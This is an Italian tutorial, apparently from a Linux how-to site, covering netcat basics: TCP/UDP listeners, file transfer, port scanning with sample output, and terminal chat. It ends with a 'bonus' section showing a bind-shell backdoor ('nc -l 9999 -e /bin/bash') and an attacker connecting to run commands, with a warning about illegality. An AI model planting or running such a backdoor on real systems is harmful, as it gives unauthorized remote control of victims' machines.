GNU/Linux >> Linux Esercitazione >  >> Linux

5 Esempi del comando Netcat (nc) in Linux

Netcat è uno strumento di rete potente e versatile disponibile per macchine Linux, Mac e Windows. È semplice da usare ed è essenziale per tutti coloro che sono interessati alla comunicazione in rete.

La funzionalità principale di Netcat è consentire a due computer di connettersi e condividere risorse. Il nome è una combinazione di rete e concatenato, che è una parola di fantasia per unire le cose.

Le connessioni possono essere effettuate direttamente tra macchine tramite porte TCP o UDP. Una volta stabilito, ci sono molti potenziali casi d'uso. La comunicazione può funzionare in modo bidirezionale in modo che i file o le informazioni possano spostarsi da listener a client o da client a listener.

Netcat è conosciuto come il "coltellino svizzero" dell'IT per via della sua vasta gamma di funzionalità. Può essere utilizzato per l'invio di file semplici, la chat, il servizio Web, l'esecuzione di codice in remoto. L'elenco è ampio e vario.

Evidenzierò alcune delle applicazioni più comuni in questo articolo.

Notoriamente, netcat può essere utilizzato per creare un accesso "backdoor". Spiegherò come funziona, ma tieni presente che questo non fa più parte del software nc a causa del suo potenziale uso dannoso.

Esempi di comandi Netcat (nc)

Ecco la sintassi per il comando nc:

nc [options] [hostname] [port]

La sintassi può variare a seconda dell'applicazione, ma per la maggior parte degli usi, i tuoi comandi seguiranno questo schema di base.

Vediamo

1. Crea una connessione usando TCP con il comando netcat

Come accennato in precedenza, la funzionalità principale di netcat è unire due macchine insieme. Puoi impostare una connessione usando TCP per connettere due macchine separate, puoi anche emulare quella connessione usando il terminale.

La macchina per l'ascolto:

nc -l 8080

Questo comando apre la porta 8080 e dice alla macchina di iniziare l'ascolto su questa porta.

Per stabilire una connessione, utilizzerai un altro terminale e inserisci quanto segue.

La macchina client:

nc 127.0.0.1 8080

Puoi anche utilizzare "localhost" al posto dell'IP o utilizzare l'IP del tuo secondo PC qui se stai effettuando una connessione remota.

Ecco fatto, hai aperto una porta TCP e stabilito una connessione tra due sistemi.

Introduzione rapida a TCP e UDP

Perché utilizziamo TCP per impostazione predefinita? TCP è una tecnologia più vecchia di UDP e operano a diversi livelli del modello OSI. Darò una rapida panoramica delle differenze tra di loro e descriverò alcune situazioni in cui potresti sceglierne una rispetto all'altra.

TCP ha forti capacità di correzione degli errori. Cosa significa? Fondamentalmente, ciò significa che mentre i pacchetti di dati sono in transito da un sistema all'altro, vengono eseguiti test continui. Questi test assicurano che le informazioni dal sistema A vengano copiate accuratamente nel sistema B. Questa è una versione molto semplificata di ciò che accade quando le informazioni viaggiano attraverso le reti (Internet).

Tuttavia, ci sono molti protocolli utilizzati nella comunicazione Internet, non solo TCP. UDP ha regole diverse da TCP. Nessuno dei due è necessariamente "migliore", ma ciascuno può eccellere nello svolgere compiti diversi.

Perché dovremmo usare UDP su TCP o viceversa? Dipende dall'applicazione. TCP è più lento, ma più affidabile per il trasferimento accurato dei dati.

UDP può essere scelto in situazioni in cui la velocità è più importante dell'affidabilità nella trasmissione delle informazioni. Un esempio di questo è lo streaming di dati, come il video. I video possono essere trasferiti più rapidamente tramite UDP e, anche se si verificano errori nella trasmissione, è meno probabile che influiscano sull'esperienza dell'utente.

2. Crea una connessione usando UDP con il comando nc

I passaggi per creare una connessione UDP sono praticamente identici a quelli che abbiamo già seguito. Aggiungerai un flag di opzione per specificare che il tipo di porta che desideri aprire è UDP, non il TCP predefinito.

nc -l -u 999

È così semplice. Questo è tutto ciò che devi fare per aprire la porta UDP "999".

Potresti chiederti se puoi usare TCP e UDP con lo stesso numero di porta. Puoi, perché sono protocolli separati.

3. Usa il comando nc per trasferire file tra sistemi remoti

Esistono altri metodi per trasferire i file da un sistema all'altro. Puoi anche usare il comando netcat per questo scopo.

Per questo esempio, ho creato una demo che illustra un trasferimento di file remoto dalla mia macchina Linux al mio MacBook Pro.

Configura il PC Linux per la ricezione

nc -l 9999 > fromMac.file

Inizi ad ascoltare sulla macchina ricevente sulla porta TCP 9999. Il '> ' indica alla macchina che si prevede che un file venga trasferito. Il nome che segue è il nome locale del file.

Configura il PC Mac per l'invio

nc 172.20.1.168 9999 < toLinux.file

L'indirizzo IP qui appartiene alla macchina Linux. Capovolgi il simbolo su "< ' e il file 'toLinux.file' verrà copiato sulla macchina remota come 'fromMac.file'.

Ecco un esempio che utilizza due macchine diverse per inviare un file.

4. Usa il comando nc per la scansione delle porte

Potrebbero esserci opzioni più efficienti per la scansione delle porte, ma è possibile farlo con netcat. Poiché netcat viene installato per impostazione predefinita sulla maggior parte dei sistemi operativi, è utile sapere come farlo se è necessario eseguire una rapida risoluzione dei problemi. Utilizzerai '-n' e visualizzerai un output dettagliato.

nc -v -n 127.0.0.1 1-100

Questo tenta di stabilire una connessione a porte comprese tra 1 e 100. La porta 80 è HTTP, come sono sicuro che molti di voi sapranno. Questa porta è normalmente aperta sulle macchine perché viene utilizzata per la connessione a Internet.

Quando uso questo comando, sto effettivamente tentando di connettermi a tutte le porte tra 1-100. Si connette correttamente alla porta 80, ma genera un messaggio di errore da Apache. Finisco con un output HTML sul terminale perché il mio computer lo vede come una richiesta di pagina errata.

[...]
nc: connect to 127.0.0.1 port 77 (tcp) failed: Connection refused
nc: connect to 127.0.0.1 port 78 (tcp) failed: Connection refused
nc: connect to 127.0.0.1 port 79 (tcp) failed: Connection refused
Connection to 127.0.0.1 80 port [tcp/*] succeeded!

HTTP/1.1 400 Bad Request
Date: Fri, 20 Dec 2019 15:08:29 GMT
Server: Apache/2.4.38 (Ubuntu)
Content-Length: 310
Connection: close
Content-Type: text/html; charset=iso-8859-1

<!DOCTYPE HTML PUBLIC "-//IETF//DTD HTML 2.0//EN">
<html><head>
<title>400 Bad Request</title>
</head><body>
<h1>Bad Request</h1>
<p>Your browser sent a request that this server could not understand.<br />
</p>
<hr>
<address>Apache/2.4.38 (Ubuntu) Server at pop-os.localdomain Port 80</address>
</body></html>

Modalità I/O zero

Per evitare ciò, puoi utilizzare -z flag, che sta per zero input/output. Questa è la modalità di scansione delle porte integrata per netcat. Ottengo ancora la stessa lingua, ma in realtà non effettua la connessione alla porta 80 generando l'errore di richiesta errata. Invece continua attraverso tutte le porte scansionate.

5. Chatta con Netcat

Questo è un modo più divertente di usare netcat. Quando stabilisci una connessione TCP come sopra, puoi effettivamente "chattare" da una macchina all'altra. È meno nuovo in un'era in cui le applicazioni di messaggistica e chat sono onnipresenti, ma questo avrebbe fatto impazzire qualcuno nel 1996.

Ecco un'animazione che mi mostra mentre parlo da un terminale all'altro.

Abbastanza bello, vero?

Suggerimento bonus:crea una backdoor con il comando nc

Lo mostrerò solo a scopo dimostrativo. Tieni presente che l'uso non autorizzato di questo comando potrebbe essere considerato un'attività criminale nella tua locale.

In effetti, questo comando non fa più nulla con 'nc'. Ci sono modi per farlo, ma dovrai trovarli da qualche altra parte. Ancora una volta, questo ha lo scopo solo di mostrare la capacità.

La -e flag rende qualcosa di eseguibile. Un modo comune per ottenere l'accesso da parte di malintenzionati è creare una backdoor di questo tipo su una porta aperta e utilizzarla per eseguire script o manipolare in altro modo il file system.

Quindi, se l'attaccante ha in qualche modo ottenuto l'accesso alla macchina della "vittima", può creare una backdoor come questa:

nc -l 9999 -e /bin/bash

Ora gli aggressori possono utilizzare questa backdoor per accedere al sistema in remoto ed eseguire comandi. Quindi, dal sistema dell'attaccante:

nc 192.168.1.10 9999
ls
Desktop
Documents
Downloads
Music 
Pictures
Public
Templates
Videos
firefox linuxhandbook.com

Ciò consente all'attaccante di accedere al tuo computer in remoto dalla riga di comando. Una volta connesso, posso eseguire i comandi bash in modo simile a come potrei se stessi usando direttamente il computer.

Sono sicuro che puoi immaginare come qualcuno senza le migliori intenzioni possa abusare di questo potere. Questo rende molto importante monitorare l'attività delle porte su qualsiasi rete.

Spero che questa breve introduzione al comando netcat ti sia piaciuta. Come sempre, facci sapere cosa ne pensi nella sezione commenti.


Linux
  1. sa Esempi di comandi in Linux

  2. w Esempi di comandi in Linux

  3. ac Esempi di comandi in Linux

  4. Esempi di comandi df in Linux

  5. du Esempi di comandi in Linux

Cos'è il comando Linux Watch + Esempi

I 50 esempi pratici del comando SED in Linux

Esempi essenziali del comando file in Linux

10 esempi utili del comando di ordinamento in Linux

Esempi essenziali del comando ps in Linux

Esempi di comandi id in Linux